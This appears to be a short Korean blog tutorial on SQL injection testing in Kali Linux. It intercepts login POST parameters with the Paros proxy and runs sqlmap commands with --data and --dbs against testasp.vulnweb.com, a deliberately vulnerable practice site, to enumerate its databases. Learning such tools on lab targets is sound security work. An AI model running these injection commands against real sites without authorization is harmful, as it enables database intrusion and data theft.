On KaliLinux

KaliLinux는 기본적으로 paros가 설치되어 있다.

 

 

 

1. Proxy 설정

paros 웹 proxy 설정

# paros &

Tools > Options > Local proxy > OK

Address : localhost

Port : 8000

(주의) paros는 종료하지 않는다. paros는 proxy 서버이다.

 

 

웹브라우저에서 paros를 proxy 서버로 지정한다.

# firefox &

Preferences > Advanced > Network > Settings > OK > Close

[ V ] Manual proxy configuration

HTTP proxy : localhost Port : 8000

 

 

웹브라우저에서 해당 사이트의 로그인 페이지에 접속한다.

http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault.asp%3F

 

 

 

2. 파로스를 이용하여 POST 방식의 정보 확인

-> POST 방식으로 전달되는 패러미터는 육안으로 확인할 수 없기 때문에 paros로 확인

-> paros에서 [Trap] 탭

[ V ] Trap Request

 

 

웹 로그인 페이지에 임의의 계정(aaaa)과 암호(aaaa)를 입력하고 "Login"을 선택한다.

 

 

paros에서 확인

-> paros에서 전달되는 POST 방식의 패러미터 확인

-> tfUName=aaaa&tfUPass=aaaa 확인(점검 대상 패러미터는 tfUName 과 tfUPass 이다.)

 

 

 

3. 임의의 계정으로 sqlmap을 통해 DB 접근 확인

# sqlmap -u "http://testasp.vulnweb.com/Login.asp" \

--data="tfUName=user&tfUPass=pass123" --batch

 

 

 

 

# sqlmap -u "http://testasp.vulnweb.com/Login.asp" \

--data="tfUName=user&tfUPass=pass123" \

--dbs --batch

-> 임의의 사용자로 접근이 가능한 DB 정보들을 확인할 수 있다.

 

 

 

 

정리 :

(GET method)

# sqlmap -u testasp.vulnweb.com/showforum.asp?id=2 --dbs

(POST method)

# sqlmap -u "http://testasp.vulnweb.com/Login.asp" --data="tfUName=user&tfUPass=pass123" --dbs

 

 

정리 2 :

웹 스캐너(paros)를 통한 1차 테스트 > 전문툴(sqlmap)을 통한 2차 테스트

 

 

 

728x90

+ Recent posts